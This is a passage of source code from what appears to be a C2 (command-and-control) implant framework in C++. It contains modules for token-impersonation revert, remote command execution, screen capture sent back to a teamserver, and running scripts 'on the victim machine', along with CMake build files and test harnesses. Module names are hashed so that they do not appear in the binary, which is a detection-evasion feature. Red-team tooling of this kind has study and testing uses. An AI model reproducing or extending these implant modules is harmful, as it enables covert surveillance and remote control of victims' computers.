#else 28 | 29 | __attribute__((visibility("default"))) Rev2self* Rev2selfConstructor() 30 | { 31 | return new Rev2self(); 32 | } 33 | 34 | #endif 35 | 36 | Rev2self::Rev2self() 37 | #ifdef BUILD_TEAMSERVER 38 | : ModuleCmd(std::string(moduleName), moduleHash) 39 | #else 40 | : ModuleCmd("", moduleHash) 41 | #endif 42 | { 43 | } 44 | 45 | Rev2self::~Rev2self() 46 | { 47 | } 48 | 49 | std::string Rev2self::getInfo() 50 | { 51 | std::string info; 52 | #ifdef BUILD_TEAMSERVER 53 | info += "rev2self:\n"; 54 | info += "Drop the impersonation of a token, created with makeToken\n"; 55 | info += "exemple:\n"; 56 | info += "- rev2self\n"; 57 | #endif 58 | return info; 59 | } 60 | 61 | int Rev2self::init(std::vector &splitedCmd, C2Message &c2Message) 62 | { 63 | c2Message.set_instruction(splitedCmd[0]); 64 | c2Message.set_cmd(""); 65 | 66 | return 0; 67 | } 68 | 69 | 70 | int Rev2self::process(C2Message &c2Message, C2Message &c2RetMessage) 71 | { 72 | std::string out = rev2self(); 73 | 74 | c2RetMessage.set_instruction(c2RetMessage.instruction()); 75 | c2RetMessage.set_cmd(""); 76 | c2RetMessage.set_returnvalue(out); 77 | 78 | return 0; 79 | } 80 | 81 | 82 | std::string Rev2self::rev2self() 83 | { 84 | std::string result; 85 | 86 | #ifdef __linux__ 87 | 88 | result += "Rev2self don't work in linux.\n"; 89 | 90 | #elif _WIN32 91 | if(RevertToSelf()) 92 | result += "Reverted to self.\n"; 93 | else 94 | result += "Fail to revert to self.\n"; 95 | #endif 96 | 97 | return result; 98 | } -------------------------------------------------------------------------------- /modules/Rev2self/Rev2self.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class Rev2self : public ModuleCmd 7 | { 8 | 9 | public: 10 | Rev2self(); 11 | ~Rev2self(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_WINDOWS; 20 | } 21 | 22 | private: 23 | std::string rev2self(); 24 | }; 25 | 26 | 27 | #ifdef _WIN32 28 | 29 | extern "C" __declspec(dllexport) Rev2self * Rev2selfConstructor(); 30 | 31 | #else 32 | 33 | extern "C" __attribute__((visibility("default"))) Rev2self * Rev2selfConstructor(); 34 | 35 | #endif -------------------------------------------------------------------------------- /modules/Rev2self/tests/testsRev2self.cpp: -------------------------------------------------------------------------------- 1 | #include "../Rev2self.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testRev2self(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testRev2self" << std::endl; 15 | res = testRev2self(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | bool testRev2self() 25 | { 26 | std::unique_ptr rev2self = std::make_unique(); 27 | { 28 | std::vector splitedCmd; 29 | splitedCmd.push_back("rev2self"); 30 | 31 | C2Message c2Message; 32 | C2Message c2RetMessage; 33 | rev2self->init(splitedCmd, c2Message); 34 | rev2self->process(c2Message, c2RetMessage); 35 | 36 | std::string output = "\n\noutput:\n"; 37 | output += c2RetMessage.returnvalue(); 38 | output += "\n"; 39 | std::cout << output << std::endl; 40 | } 41 | 42 | return true; 43 | } 44 | -------------------------------------------------------------------------------- /modules/Run/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Run SHARED Run.cpp) 3 | set_property(TARGET Run PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(Run ) 5 | add_custom_command(TARGET Run POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsRun tests/testsRun.cpp Run.cpp) 10 | target_link_libraries(testsRun ) 11 | add_custom_command(TARGET testsRun POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsRun COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/Run/Run.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | #ifdef _WIN32 6 | #include 7 | #endif 8 | 9 | 10 | class Run : public ModuleCmd 11 | { 12 | 13 | public: 14 | Run(); 15 | ~Run(); 16 | 17 | std::string getInfo(); 18 | 19 | int init(std::vector& splitedCmd, C2Message& c2Message); 20 | int process(C2Message& c2Message, C2Message& c2RetMessage); 21 | int osCompatibility() 22 | { 23 | return OS_LINUX | OS_WINDOWS; 24 | } 25 | 26 | private: 27 | std::string execBash(const std::string& cmd); 28 | 29 | #ifdef _WIN32 30 | bool m_isProcessRuning; 31 | HANDLE m_processHandle; 32 | int killProcess(); 33 | #endif 34 | }; 35 | 36 | 37 | #ifdef _WIN32 38 | 39 | extern "C" __declspec(dllexport) Run * RunConstructor(); 40 | 41 | #else 42 | 43 | extern "C" __attribute__((visibility("default"))) Run * RunConstructor(); 44 | 45 | #endif -------------------------------------------------------------------------------- /modules/Run/tests/testsRun.cpp: -------------------------------------------------------------------------------- 1 | #include "../Run.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testRun(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testRun" << std::endl; 15 | res = testRun(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | bool testRun() 25 | { 26 | std::unique_ptr run = std::make_unique(); 27 | 28 | { 29 | std::vector splitedCmd; 30 | splitedCmd.push_back("run"); 31 | splitedCmd.push_back("whoami"); 32 | 33 | C2Message c2Message; 34 | C2Message c2RetMessage; 35 | run->init(splitedCmd, c2Message); 36 | run->process(c2Message, c2RetMessage); 37 | 38 | std::string output = "\n\noutput:\n"; 39 | output += c2RetMessage.returnvalue(); 40 | output += "\n"; 41 | std::cout << output << std::endl; 42 | } 43 | { 44 | std::vector splitedCmd; 45 | splitedCmd.push_back("run"); 46 | splitedCmd.push_back("id"); 47 | 48 | C2Message c2Message; 49 | C2Message c2RetMessage; 50 | run->init(splitedCmd, c2Message); 51 | run->process(c2Message, c2RetMessage); 52 | 53 | std::string output = "\n\noutput:\n"; 54 | output += c2RetMessage.returnvalue(); 55 | output += "\n"; 56 | std::cout << output << std::endl; 57 | } 58 | { 59 | std::vector splitedCmd; 60 | splitedCmd.push_back("run"); 61 | splitedCmd.push_back("dir"); 62 | 63 | C2Message c2Message; 64 | C2Message c2RetMessage; 65 | run->init(splitedCmd, c2Message); 66 | run->process(c2Message, c2RetMessage); 67 | 68 | std::string output = "\n\noutput:\n"; 69 | output += c2RetMessage.returnvalue(); 70 | output += "\n"; 71 | std::cout << output << std::endl; 72 | } 73 | { 74 | std::vector splitedCmd; 75 | splitedCmd.push_back("run"); 76 | #ifdef __linux__ 77 | splitedCmd.push_back("/c ping 127.0.0.1 -c 1"); 78 | #elif _WIN32 79 | splitedCmd.push_back("/c ping 127.0.0.1 /n 1"); 80 | #endif 81 | 82 | C2Message c2Message; 83 | C2Message c2RetMessage; 84 | run->init(splitedCmd, c2Message); 85 | run->process(c2Message, c2RetMessage); 86 | 87 | std::string output = "\n\noutput:\n"; 88 | output += c2RetMessage.returnvalue(); 89 | output += "\n"; 90 | std::cout << output << std::endl; 91 | } 92 | { 93 | std::vector splitedCmd; 94 | splitedCmd.push_back("run"); 95 | splitedCmd.push_back("calc.exe"); 96 | 97 | C2Message c2Message; 98 | C2Message c2RetMessage; 99 | run->init(splitedCmd, c2Message); 100 | run->process(c2Message, c2RetMessage); 101 | 102 | std::string output = "\n\noutput:\n"; 103 | output += c2RetMessage.returnvalue(); 104 | output += "\n"; 105 | std::cout << output << std::endl; 106 | } 107 | { 108 | std::vector splitedCmd; 109 | splitedCmd.push_back("run"); 110 | splitedCmd.push_back(".\\test.bat"); 111 | 112 | C2Message c2Message; 113 | C2Message c2RetMessage; 114 | run->init(splitedCmd, c2Message); 115 | run->process(c2Message, c2RetMessage); 116 | 117 | std::string output = "\n\noutput:\n"; 118 | output += c2RetMessage.returnvalue(); 119 | output += "\n"; 120 | std::cout << output << std::endl; 121 | } 122 | 123 | return true; 124 | } 125 | -------------------------------------------------------------------------------- /modules/ScreenShot/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(ScreenShot SHARED ScreenShot.cpp ScreenShooter.cpp) 3 | set_property(TARGET ScreenShot PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(ScreenShot ) 5 | add_custom_command(TARGET ScreenShot POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | # if(WITH_TESTS) 9 | add_executable(testsScreenShot tests/testsScreenShot.cpp ScreenShot.cpp ScreenShooter.cpp) 10 | target_link_libraries(testsScreenShot ) 11 | add_custom_command(TARGET testsScreenShot POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsScreenShot COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | # endif() -------------------------------------------------------------------------------- /modules/ScreenShot/HandleGuards.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "windows.h" 4 | #include 5 | 6 | 7 | namespace guards 8 | { 9 | 10 | 11 | class CDCGuard 12 | { 13 | public: 14 | explicit CDCGuard(HDC h) 15 | :h_(h) 16 | { 17 | 18 | } 19 | 20 | ~CDCGuard(void) 21 | { 22 | if(h_)DeleteDC(h_); 23 | } 24 | 25 | void reset(HDC h) 26 | { 27 | if(h_ == h) 28 | return; 29 | if(h_)DeleteDC(h_); 30 | h_ = h; 31 | } 32 | 33 | void release() 34 | { 35 | h_ = 0; 36 | } 37 | 38 | HDC get() 39 | { 40 | return h_; 41 | } 42 | 43 | private: 44 | HDC h_; 45 | CDCGuard(const CDCGuard&); 46 | CDCGuard& operator=(CDCGuard&); 47 | 48 | }; 49 | 50 | 51 | class CBitMapGuard 52 | { 53 | public: 54 | explicit CBitMapGuard(HBITMAP h) 55 | :h_(h) 56 | { 57 | 58 | } 59 | 60 | ~CBitMapGuard(void) 61 | { 62 | if(h_)DeleteObject(h_); 63 | } 64 | 65 | void reset(HBITMAP h) 66 | { 67 | if(h_ == h) 68 | return; 69 | if(h_)DeleteObject(h_); 70 | h_ = h; 71 | } 72 | 73 | HBITMAP get() 74 | { 75 | return h_; 76 | } 77 | 78 | private: 79 | HBITMAP h_; 80 | CBitMapGuard(const CBitMapGuard&); 81 | CBitMapGuard& operator=(CBitMapGuard&); 82 | 83 | }; 84 | 85 | 86 | } 87 | -------------------------------------------------------------------------------- /modules/ScreenShot/ScreenShooter.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "HandleGuards.h" 5 | 6 | 7 | namespace ScreenShooter 8 | { 9 | 10 | typedef std::vector> HDCPoolType; 11 | 12 | 13 | void CaptureScreen(std::vector& dataScreen); 14 | 15 | 16 | BOOL CALLBACK MonitorEnumProc( 17 | HMONITOR hMonitor, // handle to display monitor 18 | HDC hdcMonitor, // handle to monitor DC 19 | LPRECT lprcMonitor, // monitor intersection rectangle 20 | LPARAM dwData // data 21 | ); 22 | 23 | 24 | class CDisplayHandlesPool 25 | { 26 | public: 27 | 28 | typedef HDCPoolType::iterator iterator; 29 | 30 | CDisplayHandlesPool() 31 | { 32 | guards::CDCGuard captureGuard(0); 33 | HDC hDesktopDC = GetDC(NULL); 34 | if (!hDesktopDC) 35 | { 36 | // throw std::runtime_error("CDisplayHandlesPool: GetDC failed"); 37 | } 38 | guards::CDCGuard desktopGuard(hDesktopDC); 39 | 40 | if(!EnumDisplayMonitors(hDesktopDC, NULL, MonitorEnumProc, reinterpret_cast(this))) 41 | { 42 | // throw std::runtime_error("CDisplayHandlesPool: EnumDisplayMonitors failed"); 43 | } 44 | } 45 | 46 | ~CDisplayHandlesPool() 47 | { 48 | for(HDCPoolType::iterator it = m_hdcPool.begin(); it != m_hdcPool.end(); ++it) 49 | { 50 | if(it->first) 51 | DeleteDC(it->first); 52 | } 53 | } 54 | 55 | void AddHdcToPool(guards::CDCGuard & hdcGuard, RECT rect) 56 | { 57 | m_hdcPool.push_back(std::make_pair(hdcGuard.get(), rect)); 58 | hdcGuard.release(); 59 | } 60 | 61 | iterator begin() 62 | { 63 | return m_hdcPool.begin(); 64 | } 65 | 66 | iterator end() 67 | { 68 | return m_hdcPool.end(); 69 | } 70 | 71 | private: 72 | HDCPoolType m_hdcPool; 73 | 74 | CDisplayHandlesPool(const CDisplayHandlesPool & other); 75 | CDisplayHandlesPool & operator = (CDisplayHandlesPool); 76 | 77 | }; 78 | 79 | 80 | } 81 | -------------------------------------------------------------------------------- /modules/ScreenShot/ScreenShot.cpp: -------------------------------------------------------------------------------- 1 | #include "ScreenShot.hpp" 2 | 3 | #ifdef _WIN32 4 | // https://github.com/apriorit/Screenshot_Desktop/tree/master 5 | #include "ScreenShooter.h" 6 | #endif 7 | 8 | #include "Common.hpp" 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | using namespace std; 15 | 16 | 17 | // Compute hash of moduleName at compile time, so the moduleName string don't show in the binary 18 | constexpr std::string_view moduleName = "screenShot"; 19 | constexpr unsigned long long moduleHash = djb2(moduleName); 20 | 21 | 22 | #ifdef _WIN32 23 | __declspec(dllexport) ScreenShot* ScreenShotConstructor() 24 | { 25 | return new ScreenShot(); 26 | } 27 | #else 28 | __attribute__((visibility("default"))) ScreenShot* ScreenShotConstructor() 29 | { 30 | return new ScreenShot(); 31 | } 32 | #endif 33 | 34 | 35 | ScreenShot::ScreenShot() 36 | #ifdef BUILD_TEAMSERVER 37 | : ModuleCmd(std::string(moduleName), moduleHash) 38 | #else 39 | : ModuleCmd("", moduleHash) 40 | #endif 41 | { 42 | } 43 | 44 | 45 | ScreenShot::~ScreenShot() 46 | { 47 | } 48 | 49 | 50 | std::string ScreenShot::getInfo() 51 | { 52 | std::string info; 53 | // TODO: add screenshot every x seconds with a recurringExec 54 | #ifdef BUILD_TEAMSERVER 55 | info += "ScreenShot:\n"; 56 | info += "ScreenShot\n"; 57 | info += "exemple:\n"; 58 | info += "- ScreenShot\n"; 59 | #endif 60 | return info; 61 | } 62 | 63 | 64 | int ScreenShot::init(std::vector &splitedCmd, C2Message &c2Message) 65 | { 66 | #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) 67 | if (splitedCmd.size() >= 1 ) 68 | { 69 | c2Message.set_instruction(splitedCmd[0]); 70 | } 71 | else 72 | { 73 | c2Message.set_returnvalue(getInfo()); 74 | return -1; 75 | } 76 | #endif 77 | return 0; 78 | } 79 | 80 | 81 | #define ERROR_OPEN_FILE 1 82 | 83 | 84 | int ScreenShot::process(C2Message &c2Message, C2Message &c2RetMessage) 85 | { 86 | c2RetMessage.set_instruction(c2RetMessage.instruction()); 87 | 88 | #ifdef _WIN32 89 | std::vector dataScreen; 90 | ScreenShooter::CaptureScreen(dataScreen); 91 | 92 | std::string buffer(dataScreen.begin(), dataScreen.end()); 93 | c2RetMessage.set_data(buffer); 94 | 95 | c2RetMessage.set_returnvalue("Success"); 96 | #endif 97 | 98 | return 0; 99 | } 100 | 101 | 102 | int ScreenShot::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) 103 | { 104 | #ifdef BUILD_TEAMSERVER 105 | int errorCode = c2RetMessage.errorCode(); 106 | if(errorCode>0) 107 | { 108 | if(errorCode==ERROR_OPEN_FILE) 109 | errorMsg = "Failed: Couldn't open file"; 110 | } 111 | #endif 112 | return 0; 113 | } 114 | 115 | 116 | std::string getFilenameTimestamp() 117 | { 118 | auto now = std::chrono::system_clock::now(); 119 | std::time_t now_time = std::chrono::system_clock::to_time_t(now); 120 | 121 | std::tm local_time; 122 | #ifdef _WIN32 123 | localtime_s(&local_time, &now_time); 124 | #else 125 | localtime_r(&now_time, &local_time); 126 | #endif 127 | 128 | // Format the timestamp 129 | std::ostringstream oss; 130 | oss << std::put_time(&local_time, "%Y%m%d_%H%M%S"); 131 | return oss.str(); 132 | } 133 | 134 | 135 | int ScreenShot::recurringExec(C2Message& c2RetMessage) 136 | { 137 | // TODO 138 | 139 | return 1; 140 | } 141 | 142 | 143 | // TODO save the screenshot in a pre defined directory 144 | int ScreenShot::followUp(const C2Message &c2RetMessage) 145 | { 146 | #ifdef BUILD_TEAMSERVER 147 | const std::string buffer = c2RetMessage.data(); 148 | 149 | if(buffer.size()>0) 150 | { 151 | std::string outputFile = "screenShot" + getFilenameTimestamp() + ".bmp"; 152 | std::ofstream output(outputFile, std::ios::binary); 153 | output << buffer; 154 | output.close(); 155 | } 156 | #endif 157 | 158 | return 0; 159 | } 160 | -------------------------------------------------------------------------------- /modules/ScreenShot/ScreenShot.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class ScreenShot : public ModuleCmd 7 | { 8 | 9 | public: 10 | ScreenShot(); 11 | ~ScreenShot(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); 18 | int recurringExec(C2Message& c2RetMessage); 19 | int followUp(const C2Message &c2RetMessage); 20 | int osCompatibility() 21 | { 22 | return OS_WINDOWS; 23 | } 24 | 25 | private: 26 | 27 | }; 28 | 29 | 30 | #ifdef _WIN32 31 | 32 | extern "C" __declspec(dllexport) ScreenShot * ScreenShotConstructor(); 33 | 34 | #else 35 | 36 | extern "C" __attribute__((visibility("default"))) ScreenShot * ScreenShotConstructor(); 37 | 38 | #endif 39 | -------------------------------------------------------------------------------- /modules/ScreenShot/tests/testsScreenShot.cpp: -------------------------------------------------------------------------------- 1 | #include "../ScreenShot.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testScreenShot(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testScreenShot" << std::endl; 15 | res = testScreenShot(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | bool testScreenShot() 25 | { 26 | std::ofstream outfile("test1.txt"); 27 | outfile << "testScreenShot" << std::endl; 28 | outfile.close(); 29 | 30 | std::unique_ptr screenShot = std::make_unique(); 31 | { 32 | std::vector splitedCmd; 33 | splitedCmd.push_back("screenShot"); 34 | 35 | C2Message c2Message; 36 | C2Message c2RetMessage; 37 | screenShot->init(splitedCmd, c2Message); 38 | screenShot->process(c2Message, c2RetMessage); 39 | 40 | std::string output = "\n\noutput:\n"; 41 | output += c2RetMessage.returnvalue(); 42 | output += "\n"; 43 | std::cout << output << std::endl; 44 | } 45 | 46 | 47 | return true; 48 | } 49 | -------------------------------------------------------------------------------- /modules/Script/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include_directories(../) 2 | add_library(Script SHARED Script.cpp) 3 | set_property(TARGET Script PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") 4 | target_link_libraries(Script ) 5 | add_custom_command(TARGET Script POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 6 | $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") 7 | 8 | if(WITH_TESTS) 9 | add_executable(testsScript tests/testsScript.cpp Script.cpp) 10 | target_link_libraries(testsScript ) 11 | add_custom_command(TARGET testsScript POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy 12 | $ "${CMAKE_SOURCE_DIR}/Tests/$") 13 | 14 | add_test(NAME testsScript COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") 15 | endif() -------------------------------------------------------------------------------- /modules/Script/Script.cpp: -------------------------------------------------------------------------------- 1 | #include "Script.hpp" 2 | 3 | #include 4 | #include 5 | 6 | #include "Common.hpp" 7 | 8 | 9 | using namespace std; 10 | 11 | 12 | constexpr std::string_view moduleName = "script"; 13 | constexpr unsigned long long moduleHash = djb2(moduleName); 14 | 15 | 16 | #ifdef _WIN32 17 | 18 | __declspec(dllexport) Script* ScriptConstructor() 19 | { 20 | return new Script(); 21 | } 22 | 23 | #else 24 | 25 | __attribute__((visibility("default"))) Script * ScriptConstructor() 26 | { 27 | return new Script(); 28 | } 29 | 30 | #endif 31 | 32 | 33 | Script::Script() 34 | #ifdef BUILD_TEAMSERVER 35 | : ModuleCmd(std::string(moduleName), moduleHash) 36 | #else 37 | : ModuleCmd("", moduleHash) 38 | #endif 39 | { 40 | } 41 | 42 | Script::~Script() 43 | { 44 | } 45 | 46 | std::string Script::getInfo() 47 | { 48 | std::string info; 49 | #ifdef BUILD_TEAMSERVER 50 | info += "script:\n"; 51 | info += "Launch the script on the victim machine\n"; 52 | info += "exemple:\n"; 53 | info += " - script /tmp/toto.sh\n"; 54 | #endif 55 | return info; 56 | } 57 | 58 | 59 | int Script::init(std::vector &splitedCmd, C2Message &c2Message) 60 | { 61 | if(splitedCmd.size()<2) 62 | { 63 | c2Message.set_returnvalue(getInfo()); 64 | return -1; 65 | } 66 | 67 | string inputFile = splitedCmd[1]; 68 | 69 | std::ifstream input(inputFile, std::ios::binary); 70 | 71 | if(input.good()) 72 | { 73 | std::string buffer(std::istreambuf_iterator(input), {}); 74 | 75 | c2Message.set_instruction(splitedCmd[0]); 76 | c2Message.set_inputfile(inputFile); 77 | c2Message.set_data(buffer.data(), buffer.size()); 78 | } 79 | else 80 | { 81 | std::string err = "[-] Fail to open file: "; 82 | err+=inputFile; 83 | c2Message.set_returnvalue(err); 84 | return -1; 85 | } 86 | 87 | return 0; 88 | } 89 | 90 | 91 | int Script::process(C2Message &c2Message, C2Message &c2RetMessage) 92 | { 93 | const std::string script = c2Message.data(); 94 | 95 | std::string result; 96 | 97 | #ifdef __linux__ 98 | 99 | std::array buffer; 100 | 101 | std::unique_ptr pipe(popen(script.c_str(), "r"), pclose); 102 | if (!pipe) 103 | { 104 | throw std::runtime_error("popen() filed!"); 105 | } 106 | while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) 107 | { 108 | result += buffer.data(); 109 | } 110 | 111 | #elif _WIN32 112 | 113 | result += "Not implemented for windows"; 114 | 115 | #endif 116 | 117 | c2RetMessage.set_instruction(c2RetMessage.instruction()); 118 | c2RetMessage.set_returnvalue(result); 119 | 120 | return 0; 121 | } 122 | -------------------------------------------------------------------------------- /modules/Script/Script.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ModuleCmd.hpp" 4 | 5 | 6 | class Script : public ModuleCmd 7 | { 8 | 9 | public: 10 | Script(); 11 | ~Script(); 12 | 13 | std::string getInfo(); 14 | 15 | int init(std::vector& splitedCmd, C2Message& c2Message); 16 | int process(C2Message& c2Message, C2Message& c2RetMessage); 17 | int osCompatibility() 18 | { 19 | return OS_LINUX; 20 | } 21 | 22 | private: 23 | 24 | }; 25 | 26 | 27 | #ifdef _WIN32 28 | 29 | extern "C" __declspec(dllexport) Script * ScriptConstructor(); 30 | 31 | #else 32 | 33 | extern "C" __attribute__((visibility("default"))) Script * ScriptConstructor(); 34 | 35 | #endif -------------------------------------------------------------------------------- /modules/Script/tests/testsScript.cpp: -------------------------------------------------------------------------------- 1 | #include "../Script.hpp" 2 | 3 | #ifdef __linux__ 4 | #elif _WIN32 5 | #include 6 | #endif 7 | 8 | bool testScript(); 9 | 10 | int main() 11 | { 12 | bool res; 13 | 14 | std::cout << "[+] testScript" << std::endl; 15 | res = testScript(); 16 | if (res) 17 | std::cout << "[+] Sucess" << std::endl; 18 | else 19 | std::cout << "[-] Failed" << std::endl; 20 | 21 | return 0; 22 | } 23 | 24 | bool testScript() 25 | { 26 | std::unique_ptr